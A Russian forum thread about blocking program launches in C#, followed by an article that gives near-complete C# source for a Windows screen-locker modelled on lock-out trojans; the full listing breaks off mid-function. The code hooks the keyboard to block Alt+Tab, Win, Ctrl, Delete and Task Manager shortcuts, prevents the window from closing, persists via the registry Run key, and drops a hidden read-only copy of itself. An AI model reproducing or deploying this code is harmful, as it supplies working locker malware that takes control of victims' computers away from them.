Запрет запуска программ через приложение windows forms

Как написать windows form которая будет блокировать запуск приложения C# Решение и ответ на вопрос 2888293

0 / 0 / 0

Регистрация: 30.04.2020

Сообщений: 4

1

23.10.2021, 17:34. Показов 853. Ответов 4


Я просто пытаюсь хоть где-то нарыть инфу про это всё и не могу найти нужную. (Ну или плохо искал)
Можно пожалуйста хотя бы пример кода.

__________________
Помощь в написании контрольных, курсовых и дипломных работ, диссертаций здесь



0



Programming

Эксперт

94731 / 64177 / 26122

Регистрация: 12.04.2006

Сообщений: 116,782

23.10.2021, 17:34

4

770 / 302 / 177

Регистрация: 27.06.2014

Сообщений: 671

24.10.2021, 06:29

2

Если про блокировку повторного запуска приложения, то через mutex, как здесь.



0



0 / 0 / 0

Регистрация: 30.04.2020

Сообщений: 4

24.10.2021, 12:14

 [ТС]

3

Не повторный запуск приложения, а чтобы блокировка выглядела примерно как в локальной политики windows с запретом запуска определённых программ



0



770 / 302 / 177

Регистрация: 27.06.2014

Сообщений: 671

24.10.2021, 13:44

4

Можно предложить в начале определить байтовый массив-константу с содержимым сигнатуры какой-нибудь малвари. Тогда, в принципе, и сам экзешник не долго проживёт.



0



FoXmaster

0 / 0 / 0

Регистрация: 30.04.2020

Сообщений: 4

03.11.2021, 14:18

 [ТС]

5

Я начал делать но момент такое у меня программа завершает эти процессы и мне нужно помочь чтобы она после закрытия работала определённое время и проверяла есть ли там эти процессы или нет.

C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
using ControlzEx.Standard;
using System;
using System.Diagnostics;
using System.Threading;
 
namespace ConsoleApp1
{
 
    class Program
     {
        System.Diagnostics.Stopwatch sw = System.Diagnostics.Stopwatch.StartNew();
        static void Main(string[] args)
        {
            foreach (Process Proc in Process.GetProcesses())
                if (Proc.ProcessName.Equals("Taskmgr"))  //Process Диспечер задач
                    Proc.Kill();
            foreach (Process Proc in Process.GetProcesses())
                if (Proc.ProcessName.Equals("notepad++"))  //Process notepad++
                    Proc.Kill(); 
        }
    }
    
}



0



Реализация блокиратора операционной системы.

  В данной статье будет рассмотрена реализация программы, блокирующей доступ пользователя к важным ресурсам операционной системы Windows и работу с ней в целом. Цель данной статьи — исследование принципа действия троянов, блокирующих  работу пользователя с ОС и создание программы с аналогичным функционалом (но без возможности самораспространения через заражённые компьютеры). Программа написана на основе платформы .NET на языке программирования Visual C#.

В задачи программы-блокиратора входит в общем виде:

  • Невозможность переключится на другое окно из окна данной программы.
  • Невозможность закрыть (отключить) данную программу без введения секретного кода.
  • При аппаратном (или возможном программном) отключении компьютера загрузка при следующем запуске ОС.
  • Создание скрытой копии в неизвестном пользователю месте на диске (на случай, если пользователь удалит первичный исполняемый файл программы).

Более подробно эти задачи реализуются следующим образом:

  • Ограничение доступа к диспетчеру задач Windows (taskmgr.exe).
  • Ограничение доступа к другим окнам (запрет на обработку комбинации клавиш <Alt>+<Tab>).
  • Ограничение доступа к меню «Пуск» ( запрет на обработку
     клавиши <WinKey>).
  • Помещение программы в автозагрузку через создание соответствующего ключа реестра.
  • Отключение программы только после введения пользователем правильного кода в соответствующее поле.

 
Реализация всего вышеперечисленного выполняется с помощью перехвата нажатия клавиш и их комбинаций, перехвата мыши и её эмуляции, использования свойств окна в Visual C#, обращения к реестру Windows и записи туда новых значений, управления процессами Windows.

Далее по порядку разбор программного кода и формы в Visual C#.

Сама форма, представленная на рисунке 1 имеет всего 4 элемента: непосредственно форма form1, текст «ENTER SECRET CODE HERE»в контейнере label1, поле для ввода текста  textBox1 и кнопку  button1 с надписью «SUBMIT».

Рисунок 1. Окно программы с подписанными элементами.

Программе для работы потребуются библиотеки, поэтому сначала идёт подключение необходимых библиотек:

using
System;

using
System.Collections.Generic;

using
Microsoft.Win32;

using
System.ComponentModel;

using
System.Data;

using
System.Drawing;

using
System.Reflection;

using
System.Linq;

using
System.Text;

using
System.Windows.Forms;

using
System.Runtime.InteropServices;

using
System.Diagnostics;

using System.IO;

Далее следует конструктор класса
Form1: Form1():

public
Form1()

        {

            InitializeComponent();

            TopMost = true;//Set form on the front of screen

        }

В конструкторе устанавливается TopMost = true;. Это означает, что свойство TopMost приняло истинное значение и теперь форма будет отображаться поверх всех окон.

Следующая часть программы помещает её в автозагрузку:

        //Set
programm to autorun by Windows Registry key

        public bool SetAutorunValue(bool
autorun)

        {

            string
name = «WindowsFormsApplication5»;//Application name

            string
ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path

//of application execution

            RegistryKey
reg;//Class for working with Windows registry

            reg = Registry.CurrentUser.CreateSubKey(«Software\Microsoft\Windows\CurrentVersion\Run\»);//Subkey creating in registry

            try

            {

                if
(autorun)

                {

                    reg.SetValue(name,
ExePath);//If success — then set an autoran key
values

//according to this application

                }

                else

                {

                    reg.DeleteValue(name);//If failed — delete a created key

                }

                reg.Close();//Write data to registry and close it

            }

            catch

            {

                return
false;//If exception
(fail)

            }

            return
true;//If success

        }

Здесь создаётся переменная reg класса RegistryKey, являющегося инкапсуляцией реестра Windows, в неё с помощью метода этого же класса CurrentUser.CreateSubKey записывается раздел реестра HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun, тем самым указывая рабочий раздел — раздел, отвечающий за автозагрузку и содержащий соответствующие ключи. Затем в этот раздел реестра добавляется с помощью метода SetValue(name, ExePath), где name — имя приложения (в данном случае — WindowsFormApplication5), а ExePath — текущее местоположение исполняемого файла приложения, ключ со значением, равным name. Действительно, после выполнения программы в реестре Windows в разделе 
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun появляется новый ключ, соответствующий данной программе.

Рисунок 2. Ключ реестра, созданный в разделе HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun после выполнения программы.


Далее в программе следуют две функции: Form1_FormClosing_deny и Form1_FormClosing_access. Первая функция запрещает закрытие формы, вторая функция разрешает закрытие формы.

        //Deny
the form closing

        private
void Form1_FormClosing_deny(object sender, FormClosingEventArgs
e)

        {

            if
(e.CloseReason == CloseReason.UserClosing
|        //If
closing by user

                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by
parent form

                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task

//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by
owner-form

            {

                e.Cancel = true;//Allow accepted
changes

            }

        }

        //Accept the
form closing

        private
void Form1_FormClosing_access(object sender, FormClosingEventArgs
e)

        {

            if
(e.CloseReason == CloseReason.UserClosing
|        //If
closing by user

                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by
parent form

                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task 

//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by
owner-form

            {

                e.Cancel = false;//Deny accepted
changes

            }

        }

Здесь в условии указываются возможные причины закрытия формы (пользователем, родительской формой, Диспетчером Задач Windows или формой-владельцем данной формы) и если хотя бы одна из них имеет место, то первая функция запрещает закрытие формы (так как e.Cancel принимает значение true, то есть отмена закрытия формы подтверждена), а вторая функция, напротив, разрешает закрытие формы 
(так как e.Cancel принимает значение false, то есть отмена закрытия формы не подтверждена).

 
После этого в программе идёт перехват клавиш <Ctrl>, <Alt>, <Delete>, <WinKey>, а также комбинации клавиш <Alt>+<Tab>. Перехват основан на работе с хуками из WinAPI.

Хук (от англ. hook — крючок, ловушка) — точка в механизме, обрабатывающем сообщения. В этой точке приложение может установить подпрограмму, чтобы контролировать передачу сообщений в системе и обрабатывать определенные типы сообщений прежде, чем их получит приложение, для которого они предназначены. Для перехвата нажатий клавиш используется хук WH_KEYBOARD, для перехвата движения мыши и нажатия её кнопок используется хук WH_MOUSE. Смысл работы этих хуков в том, что ОС Windows вызывает их функции, когда из системной очереди соответственно собираются быть извлечены сообщение от нажатой или отпущенной клавиши или сообщение от мыши. Ниже представлен код работы с хуками для перехвата нажатия клавиш.

//Hooks
data

        private
const int
WH_KEYBOARD_LL = 13;//Keyboard hook;


        //Keys data
structure

        [StructLayout(LayoutKind.Sequential)]

        private
struct KBDLLHOOKSTRUCT

        {

            public
Keys key;

        }

        //Using
callbacks

        private
LowLevelKeyboardProcDelegate m_callback;

        private
LowLevelKeyboardProcDelegate m_callback_1;

        private
LowLevelKeyboardProcDelegate m_callback_2;

        private
LowLevelKeyboardProcDelegate m_callback_3;

        private
LowLevelKeyboardProcDelegate m_callback_4;

        private LowLevelKeyboardProcDelegate m_callback_5;

        private LowLevelKeyboardProcDelegate m_callback_6;

        //Using hooks

        private
IntPtr m_hHook;

        private
IntPtr m_hHook_1;

        private
IntPtr m_hHook_2;

        private
IntPtr m_hHook_3;

        private
IntPtr m_hHook_4;

        private IntPtr m_hHook_5;

        private IntPtr m_hHook_6;

        //Set hook on
keyboard

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern IntPtr SetWindowsHookEx(int
idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int
dwThreadId);

        //Unhook
keyboard

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern bool UnhookWindowsHookEx(IntPtr
hhk);

        //Hook handle

        [DllImport(«Kernel32.dll», SetLastError = true)]

        private
static extern IntPtr GetModuleHandle(IntPtr
lpModuleName);

        //Calling the
next hook

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern IntPtr CallNextHookEx(IntPtr
hhk, int nCode, IntPtr
wParam, IntPtr lParam);

       
//<Alt>+<Tab> blocking

        public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Tab)

                {

                    return
(IntPtr)1;//<Alt>+<Tab>
blocking

                }

            }

            return
CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go
to next hook

        }       

        //<WinKey> capturing

        public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.RWin ||
objKeyInfo.key == Keys.LWin)

                {

                    return
(IntPtr)1;//<WinKey>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go
to next hook

        }

        //<Delete>
capturing

        public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Delete)

                {

                    return
(IntPtr)1;//<Delete>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_3, nCode, wParam, lParam);//Go
to next hook

        }

        //<Control>
capturing

        public IntPtr LowLevelKeyboardHookProc_ctrl(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LControlKey)

                {

                   
return (IntPtr)1;//<Control> blocking

               
}

            }

            return
CallNextHookEx(m_hHook_2, nCode, wParam, lParam);//Go
to next hook

        }

        //<Alt>
capturing

        public IntPtr LowLevelKeyboardHookProc_alt(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

               
if (objKeyInfo.key == Keys.Alt)

                {

                   
return (IntPtr)1;//<Alt> blocking

               
}

            }

            return
CallNextHookEx(m_hHook_4, nCode, wParam, lParam);//Go
to next hook

        }

       
//<Alt>+<Space> blocking

        public IntPtr LowLevelKeyboardHookProc_alt_space(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Space)

                {

                    return
(IntPtr)1;//<Alt>+<Space>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_5, nCode, wParam, lParam);//Go
to next hook

        }

        //<Control>+<Shift>+<Escape>
blocking

        public IntPtr
LowLevelKeyboardHookProc_control_shift_escape(int
nCode, IntPtr wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.LControlKey ||
objKeyInfo.key == Keys.RControlKey ||
objKeyInfo.key == Keys.LShiftKey ||
objKeyInfo.key == Keys.RShiftKey ||
objKeyInfo.key == Keys.Escape)

                {

                    return
(IntPtr)1;//<Control>+<Shift>+<Escape>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_6, nCode, wParam, lParam);//Go
to next hook

        }

        //Delegate
for using hooks

        private
delegate IntPtr
LowLevelKeyboardProcDelegate(int nCode, IntPtr
wParam, IntPtr lParam);

        //Setting all
hooks

        public void SetHook()

        {

            //Hooks
callbacks by delegate

            m_callback = LowLevelKeyboardHookProc_win;
            m_callback_1 = LowLevelKeyboardHookProc_alt_tab;
            m_callback_2 = LowLevelKeyboardHookProc_ctrl;
            m_callback_3 = LowLevelKeyboardHookProc_del;
            m_callback_4 = LowLevelKeyboardHookProc_alt;
            m_callback_5 = LowLevelKeyboardHookProc_alt_space;
            m_callback_6 = LowLevelKeyboardHookProc_control_shift_escape;

            //Hooks
setting

            m_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_1 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_1, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_2 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_2, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_3 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_3, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_4 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_4, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_5 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_5, GetModuleHandle(IntPtr.Zero), 0);

           
m_hHook_6 = SetWindowsHookEx(WH_KEYBOARD_LL, m_callback_6, GetModuleHandle(IntPtr.Zero), 0);

        }

        //Keyboard unhooking

        public void Unhook()

        {
            UnhookWindowsHookEx(m_hHook);

   
   
   

UnhookWindowsHookEx(m_hHook_1);

   
   
   

UnhookWindowsHookEx(m_hHook_2);

   
   
   

UnhookWindowsHookEx(m_hHook_3);

   
   
   

UnhookWindowsHookEx(m_hHook_4);

   
   
   

UnhookWindowsHookEx(m_hHook_5);

   
   
   

UnhookWindowsHookEx(m_hHook_6);

        }

Здесь сначала объявляются делегаты вызовов хуков (m_callback) и сами хуки (m_hHook), а также структура KBDLLHOOKSTRUCT, необходимая для работы методов хуков. Затем определяется порядок работы хука: вызывается библиотека User32.dll для работы с Win32 API  (для каждого метода) и далее идут методы для постановки хука, его отключения, его обработчика и вызова следующего хука из цепочки хуков. Цепочка хуков (hook chain) — это список указателей на определенные приложением функции обратного вызова, которые вызывают функции хука (hook procedures). Когда появляется сообщение, связанное с типом установленного хука, Windows передает это сообщение по очереди каждой функции хука, упомянутой в цепочке. Потом следуют функции хуков, непосредственно перехватывающие нажатия клавиш (или комбинации клавиш) и блокирующие их обработку операционной системой (хук не пропускает сообщение от клавиатуры и оно не доходит до ОС). Подробно работа функций хуков описана в комментариях к коду. В общем виде смысл такой функции хука следующий: если код хука nCode больше или равен нулю, то есть перехвата ещё не было, то в памяти создаётся объект objKeyInfo, основанный на данных из структуры
KBDLLHOOKSTRUCT, содержащий данные о клавише, проверяется соответствие текущей нажатой клавиши этому объекту и в случае соответствия дескриптору возвращается значение 1, то есть хук перехватывает и блокирует обработку нажатия данной клавиши. Затем после всех функций хука функция SetHook() сначала устанавливает значения делегатов m_callback равными обратным вызовам функций хука , а затем устанавливает дескриптор хука равный значению определённой ранее функции SetWindowsHookEx для каждого случая в зависимости от параметров этой функции, тем самым устанавливая хук на клавиатуру. Функция Unhook() производит снятие хука с клавиатуры с помощью определённого ранее метода UnhookWindowsHookEx с соответствующими параметрами.

Далее в программе следует определение метода для эмуляции мыши и установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши. Необходимость эмуляции мыши будет объяснена в этой статье чуть позже.

        //Set
mouse event for further mouse emulation

        [DllImport(«User32.dll»)]

        static extern void
mouse_event(MouseFlags dwFlags, int dx, int dy, int dwData, UIntPtr
dwExtraInfo);

        //Mouse flags
enum

        [Flags]

        enum MouseFlags

        {

            Move = 0x0001,

            LeftDown = 0x0002,

            LeftUp = 0x0004,

            RightDown = 0x0008,

            RightUp = 0x0010,

            Absolute = 0x8000

        };

Здесь вызывается библиотека User32.dll для работы с Win32 API и определяется метод mouse_event с параметрами направления движения мыши, координате x на экране, координате y на экране и данным о текущем состоянии мыши). Затем в перечислении MouseFlags происходит установка флагов, соответствующим всем предусмотренным операционной системой движениям мыши: Move — есть движение, LeftDown — влево-вниз, LeftUp — влево-вверх, RightDown — вправо-вниз, RightUp — вправо-вверх, Absolute — строго по прямой (вверх, вниз, вправо или влево).


Затем в программе идёт стандартный загрузчик формы Form1_Load(object sender, EventArgs e). В нём вызывается хук для перехвата обработки нажатия клавиш, происходит копирование программы в каталог C:Users%username%Documents с таким же именем как у исходного исполняемого файла и с атрибутами «Скрытый» и «Только чтение» для того, чтобы пользователю было сложнее его найти. Также эта копия запускается как отдельный процесс, при этом важно, что контролируется копия запущена или оригинал, так как если это не проконтролировать, то будет происходить бесконтрольный запуск бесконечного числа копий и бесконтрольное их копирование (копия, «считая», что она — оригинал, копирует себя снова и порождает новый соответствующий процесс, который продолжая существовать, порождает ещё один процесс и так далее). Это необходимо для того, чтобы копия прописывалась в автозагрузке и программа продолжала существовать на жёстком диске, даже если первично запущенный оригинал был удалён или повреждён. После программа перехватывает управление мышью и перемещает её курсор в центр экрана на поле textBox1, эмулируя при этом нажатие правой кнопкой мыши, что влечёт появление контекстного меню для этого текстового поля при запуске программы. Это необходимо потому, что при запуске программы изначально панель задач Windows не скрыта под окном программы из-за особенностей обработчика this.Bounds = Screen.PrimaryScreen.WorkingArea;, отвечающего за установку размеров формы равными размерам экрана, поэтому, если навести курсор на панель задач Windows, предварительно совершив движение мышью, то возникает теоретическая возможность вызова Диспетчера Задач или любого другого средства с возможностью прервать выполнение программы. После этого программа записывает себя в автозагрузку, устанавливает размеры формы равными размерам экрана, устанавливает запрет на закрытие формы и запускает процесс taskmgr.exe как скрытый, чтобы пользователь не могу запустить Диспетчер Задач Windows. Ниже представлен код загрузчика формы Form1_Load(object sender, EventArgs e).

        private
void Form1_Load(object
sender, EventArgs e)

        {

            SetHook();//Hook
for keypressing capturing

            TopMost = true;//Make window of this aplication on the top of other
windows

            //Making
copy of current programm to «C:Users%usernameDocuments»

            //Full
path to current file

            string
currentAssembly = Assembly.GetExecutingAssembly().Location;

            //Current
filename

            string
fileName = Path.GetFileName(currentAssembly);

            //Destination folder

            string
destinationDirectory = «C:\Users\»;

            //Current
username

            string username = Environment.UserName;

            //Documents
folder

            string
documents = «Documents\»;

            //Copied file

            string
copy = Path.Combine(destinationDirectory,
username, documents, fileName);

            //Flag
for checking if running programm is not a child process

            bool
flag = true;

            if
(currentAssembly == copy)

            {

               
flag = false;

            }

            //Copying
to destination folder

            if
(!System.IO.File.Exists(copy))

            {

                File.Copy(currentAssembly,
copy, true);

                //Making
copy file hidden, system and reading only               

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);

            }

            else

            {

                //Making
copy file hidden, system and reading only

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.ReadOnly);

                System.IO.File.SetAttributes(copy, System.IO.FileAttributes.Hidden);

            }

            //Running
the copy of this programm to set it in the autorun only if current

//programm is
not a recently made copy

            if
(flag == true)

            {

                Process.Start(copy);

            }

            //Coordinates
of new cursor position in the screen

            const
int x = 32000;

            const
int y = 32000;

            //Put
mouse in the screen ceneter and click its right button to prevent ability

//of
taskbar

            mouse_event(MouseFlags.Absolute | MouseFlags.Move,
x, y, 0, UIntPtr.Zero);//Move

//cursor

            mouse_event(MouseFlags.Absolute | MouseFlags.RightDown,
x, y, 0, UIntPtr.Zero);//

//Push mouse right button

            mouse_event(MouseFlags.Absolute | MouseFlags.RightUp,
x, y, 0, UIntPtr.Zero);//

//Release mouse right button

            SetAutorunValue(true);//Call function to
put this application to autorun

            this.Bounds
= Screen.PrimaryScreen.WorkingArea;//Set form size equal to full

//screen size

            this.FormClosing
+= Form1_FormClosing_deny;//Binding addition to the
form

//constructor

            Process
p = new Process();//New process

            p.StartInfo.WorkingDirectory = Environment.GetFolderPath(Environment.SpecialFolder.System);//Set
working directoty

            p.StartInfo.FileName = «taskmgr.exe»;//Set
filename for process

            p.StartInfo.CreateNoWindow = true;//New window for
starting process

            p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//Making
the window for

//process hidden

            p.Start();//Start
taskmgr process

            this.Focus();//Focus on taskmgr

        }

Подробнее нюансы работы данного блока описаны в комментариях к коду рядом с соответствующими строками этого кода.

Последним блоком кода в программе идёт функция-обработчик нажатия кнопки button1. Она проверяет соответствие заданного в строковой переменной пароля введённому в поле ввода textBox1 коду и в случае, если они совпали, разрешает закрытие формы, прерывает порождённые процессы Диспетчера Задач Windows, снимает хук с клавиатуры и закрывает программу. Если заданный в переменной пароль и код, введённый пользователем, не совпали, функция вызывает сообщение «WRONG CODE. TRY AGAIN.». Ниже представлен код этой функции.

        private
void button1_Click(object
sender, EventArgs e)

        {

            TopMost = true;

            string
pass = «309»;//Code (key data)

            //Checking if
inputed data is equal to key data

            if(textBox1.Text
== pass)

            {

                this.FormClosing
+= Form1_FormClosing_access;//Allow form closing

                Unhook();//Hooked keys unhooking               

                if
(flag == true)

                {

                    Process.GetProcessesByName(«taskmgr»)[0].Kill();//Kill taskmgr

                }

                else

                {

                    Process.GetProcessesByName(«taskmgr»)[1].Kill();//Kill taskmgr

                }

                Form1.ActiveForm.Close();//Close form

            }

            //If
inputed data is not equal to key data

            else

            {

                MessageBox.Show(«WRONG CODE. TRY AGAIN.»);//Message for user

                return;//Exit from button1 handler

            }

        }

Здесь string pass = «309»; — изначально задаваемый пароль, this.FormClosing += Form1_FormClosing_access; — разрешение закрытия формы путём добавления к стандартному обработчику закрытия формы функции 
Form1_FormClosing_access, Unhook() — снятие хука с клавиатуры, Process.GetProcessesByName(«taskmgr»)[0].Kill(); — прерывание процесса 
Диспетчера Задач Windows taskmgr.exe, при этом, если запущена копия, то прерывается второй по счёту процесс taskmgr.exe, и функция прерывания процесса уже имеет вид Process.GetProcessesByName(«taskmgr»)[1].Kill();. Form1.ActiveForm.Close(); — закрытие текущей формы, MessageBox.Show(«WRONG CODE. TRY AGAIN.»); — вывод сообщения для пользователя с текстом 
«WRONG CODE. TRY AGAIN.».


Полный код программы на языке программирования Visual C#.

/* © Alexander
Bakhmatov

 * 2012

 * All rights are reserved

*/

using
System;

using
System.Collections.Generic;

using
Microsoft.Win32;

using
System.ComponentModel;

using
System.Data;

using
System.Drawing;

using
System.Reflection;

using
System.Linq;

using
System.Text;

using
System.Windows.Forms;

using
System.Runtime.InteropServices;

using
System.Diagnostics;

using
System.IO;

namespace
WindowsFormsApplication5

{   

    public partial class Form1 : Form

    {

        public
Form1()

        {

            InitializeComponent();

            TopMost = true;//Set form on the front of screen

        }

        //Set
programm to autorun by Windows Registry key

        public bool SetAutorunValue(bool
autorun)

        {

            string
name = «WindowsFormsApplication5»;//Application name

            string
ExePath = System.Windows.Forms.Application.ExecutablePath;//Current path

//of application execution

            RegistryKey
reg;//Class for working with Windows registry

            reg = Registry.CurrentUser.CreateSubKey(«Software\Microsoft\Windows\CurrentVersion\Run\»);//Subkey creating in registry

            try

            {

                if
(autorun)

                {

                    reg.SetValue(name,
ExePath);//If success — then set an autoran key
values

//according to this application

                }

                else

                {

                    reg.DeleteValue(name);//If failed — delete a created key

                }

                reg.Close();//Write data to registry and close it

            }

            catch

            {

                return
false;//If exception
(fail)

            }

            return
true;//If success

        }

        //Deny
the form closing

        private
void Form1_FormClosing_deny(object sender, FormClosingEventArgs
e)

        {

            if
(e.CloseReason == CloseReason.UserClosing
|        //If
closing by user

                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by
parent form

                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task

//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by
owner-form

            {

                e.Cancel = true;//Allow accepted
changes

            }

        }

        //Accept the
form closing

        private
void Form1_FormClosing_access(object sender, FormClosingEventArgs
e)

        {

            if
(e.CloseReason == CloseReason.UserClosing
|        //If
closing by user

                e.CloseReason == CloseReason.MdiFormClosing |     //If closing by
parent form

                e.CloseReason == CloseReason.TaskManagerClosing | //If closing by Windows Task 

//Manager

                e.CloseReason == CloseReason.FormOwnerClosing)    //If closing by
owner-form

            {

                e.Cancel = false;//Deny accepted
changes

            }

        }

        //If form is
closing then terminate taskmgr (Windows Task Manager) process

        void
Form1_FormClosed(object sender, FormClosedEventArgs e)

        {

            Process.GetProcessesByName(«taskmgr»)[0].Kill();//Kill taskmgr

            Unhook();//Hooked keys unhooking

        }

        //Hooks
data

        private
const int
WH_KEYBOARD_LL = 13;//Keyboard hook;


        //Keys data
structure

        [StructLayout(LayoutKind.Sequential)]

        private
struct KBDLLHOOKSTRUCT

        {

            public
Keys key;

        }

        //Using
callbacks

        private
LowLevelKeyboardProcDelegate m_callback;

        private
LowLevelKeyboardProcDelegate m_callback_1;

        private
LowLevelKeyboardProcDelegate m_callback_2;

        private
LowLevelKeyboardProcDelegate m_callback_3;

        private
LowLevelKeyboardProcDelegate m_callback_4;

        //Using hooks

        private
IntPtr m_hHook;

        private
IntPtr m_hHook_1;

        private
IntPtr m_hHook_2;

        private
IntPtr m_hHook_3;

        private
IntPtr m_hHook_4;

        //Set hook on
keyboard

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern IntPtr SetWindowsHookEx(int
idHook, LowLevelKeyboardProcDelegate lpfn, IntPtr hMod, int
dwThreadId);

        //Unhook
keyboard

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern bool UnhookWindowsHookEx(IntPtr
hhk);

        //Hook handle

        [DllImport(«Kernel32.dll», SetLastError = true)]

        private
static extern IntPtr GetModuleHandle(IntPtr
lpModuleName);

        //Calling the
next hook

        [DllImport(«user32.dll», SetLastError = true)]

        private
static extern IntPtr CallNextHookEx(IntPtr
hhk, int nCode, IntPtr
wParam, IntPtr lParam);

       
//<Alt>+<Tab> blocking

        public IntPtr LowLevelKeyboardHookProc_alt_tab(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Alt ||
objKeyInfo.key == Keys.Tab)

                {

                    return
(IntPtr)1;//<Alt>+<Tab>
blocking

                }

            }

            return
CallNextHookEx(m_hHook, nCode, wParam, lParam);//Go
to next hook

        }       

        //<WinKey> capturing

        public IntPtr LowLevelKeyboardHookProc_win(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.RWin ||
objKeyInfo.key == Keys.LWin)

                {

                    return
(IntPtr)1;//<WinKey>
blocking

                }

            }

            return
CallNextHookEx(m_hHook_1, nCode, wParam, lParam);//Go
to next hook

        }

        //<Delete>
capturing

        public IntPtr LowLevelKeyboardHookProc_del(int nCode, IntPtr
wParam, IntPtr lParam)

        {

            if
(nCode >= 0)//If not alredy captured

            {

                KBDLLHOOKSTRUCT
objKeyInfo = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));//Memory allocation and importing code data to
KBDLLHOOKSTRUCT

                if
(objKeyInfo.key == Keys.Delete)

                {

                    return
(IntPtr)1;//<Delete>
blocking

                }

            }

            return
